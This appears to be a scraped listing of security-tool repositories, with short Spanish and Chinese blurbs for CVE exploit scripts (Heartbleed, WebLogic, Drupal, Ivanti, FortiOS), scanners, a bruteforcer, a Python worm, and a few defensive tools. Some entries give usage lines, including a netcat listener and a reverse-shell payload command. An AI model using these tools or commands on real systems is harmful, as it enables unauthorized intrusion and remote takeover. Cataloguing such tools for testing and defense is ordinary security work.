cve-2016-5699-jinzheng-sha

cve-2016-5699-report Informe del Curso de Lectura Este repositorio hace referencia a un ejemplo. simple-client.py es un script de Python para realizar solicitudes HTTP a la URL pasada desde un argumento de línea de comandos. simple-server.py usa Flask para construir un servidor HTTP simple que...

heartbleed-poc

Probador y Exploit de HeartBleed NB Casi todas las herramientas nmap, metasploit, nessus, incluso burp tienen las versiones más actualizadas de sus escáneres. Estas herramientas se lanzaron en las primeras etapas, cuando las herramientas aún se estaban desarrollando. Usa mejor aquellas en lugar d...

shellshock_scanner

shellshockscanner Escáner en Python para "ShellShock" CVE-2014-6271...

LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050-

= doi.org/10.5281/zenodo.18278567 = orcid.org/0009-0007-7728-256X 💀 LlamaStack-RCE: Marco de Explotación de la Cadena de Suministro CVE-2024-50050 MATERIAL CLASIFICADO SIN RESTRICCIONES - SOLO PARA RED TEAMING AUTORIZADO 1. Resumen Ejecutivo Análisis Determinista LlamaStack-RCE es un marco de...

CVE-2017-10271

CVE-2017-10271 Uso: python CVE-2017-10271.py url...

28458

CVE-2020-28458 此包的受影响版本存在原型污染漏洞。 datatables v1.10.16-1.10.16 用法 运行Python脚本并输入所需信息： 目标URL 代理URL（可选，无则留空） 超时时间（秒，默认10） 示例：python3 exploit.py 该脚本使用日志记录以获得更好的输出，并通过解析JSON响应（如可能）来检查原型污染。...

CVE-2024-9264

CVE-2024-9264 root@kitploit: python CVE-2024-9264.py '' -u '' -p '' -c ''...

serialator

serialator Script en Python para explotar CVE-2015-4852. Descripción Durante una reciente intervención, descubrí que Nessus ahora explotaba activamente vulnerabilidades para su confirmación. Cuando revisé el script nasl asociado, encontré que el payload era lo suficientemente genérico como para...

cve-2014-6287.py

Versión modificada del script de Python de CVE-2014-6287...

CVE-2023-27997-POC

Uso: python3 cve-2022-42475.py rhost rport lhost 'command' Ejemplo: python3 cve-2022-42475.py 192.168.10.1 8443 10.10.1.1 'ls -la /' Descargo de responsabilidad: Este proyecto se ha creado únicamente con fines educativos y de pruebas éticas. El uso de esta herramienta para atacar objetivos sin...

G3-Loop-DoS

G3-Loop-DoS Script en Python para la detección automatizada de vulnerabilidades de Loop DoS y CVE-2024-2169 Descripción: Este script de Python automatiza el proceso de escaneo de sistemas potencialmente vulnerables al ataque Loop DoS y a la hipotética vulnerabilidad CVE-2024-2169. Se centra en...

JWT-Bruteforcer

JWT-Bruteforcer Herramienta básica de Jwt Bruteforcer con prueba de vulnerabilidad CVE-2018-1000531 Librerías importadas: jwt base64 Requiere versión mínima de python 3.6...

CVE-2018-7600-Drupal7

CVE-2018-7600-Drupal7 CVE-2018-7600【Drupal7】 herramienta de escaneo masivo. root@kitploit: Archivo principal: CVE-2018-7600-Drupal7.py En realidad, su esencia es un exploit que encapsula whoami El principio de Drupal7/8 es el mismo, pero este script solo está adaptado para la versión 7 Proporcion...

CVE-2020-5902-POC

CVE-2020-5902-POC Detección por lotes de CVE-2020-5902 python3 CVE-2020-5902.py infile.txt...

Detect-CVE-2017-0144-attack

Programa Python para detectar ataques CVE-2017-0144 Programa Python cuya función es rastrear y supervisar el tráfico de red continuamente en tiempo real. Mostrará una alerta en la pantalla de la consola cuando detecte un ataque CVE-2017-0144 EternalBlue 1. Modelo del laboratorio Este laboratorio ...

CVE-2018-2893

CVE-2018-2893 Puede obtener una shell inversa directamente Uso Escuchar root@kitploit: nc -lvvp reverseport Enviar payload root@kitploit: python weblogic.py targethost targetport reversehost reverseport Referencias bigsizeme pyn3rd Notas Solo para pruebas e intercambio de aprendizaje, no lo use...

ivanti_shell

Explotación de CVE-2024-21887 con Shell Inversa de Ngrok Este repositorio proporciona un script de Python diseñado para demostrar la explotación de la vulnerabilidad CVE-2024-21887 en las pasarelas Ivanti Connect Secure. Utiliza Ngrok para establecer una shell inversa con fines educativos y de...

shai_hulud

Un gusano en Python...

CVE-2021-41773

Uso root@kitploit: usage: main.py -h -f FILE -s N --timeout SECONDS optional arguments: -h, --help show this help message and exit -f FILE, --file FILE File containing target URLs one per line -s N, --semaphore N Concurrent requests default: 10 --timeout SECONDS Request timeout in seconds default...

autonoma

Autonoma Autonoma 检测硬编码的密钥，并使用 AST 重写将其替换为os.environ... 引用。 仅当重写是确定性的且保持语义时，才会应用更改。 重写使用解析后的语法树——而不是基于原始文本的正则表达式。 本地运行，无网络调用。可在 CI 中使用，具有幂等性，差异最小。 这解决了什么问题 代码库中的硬编码密钥： 密钥会被提交并保留在 git 历史中 手动修复会破坏代码或遗漏边界情况 团队能检测到泄露，但避免使用自动修复工具，因为它们不安全 大多数工具可以检测到它们。 Autonoma 只处理它可以证明安全更改的部分。 快速示例 root@kitploit:...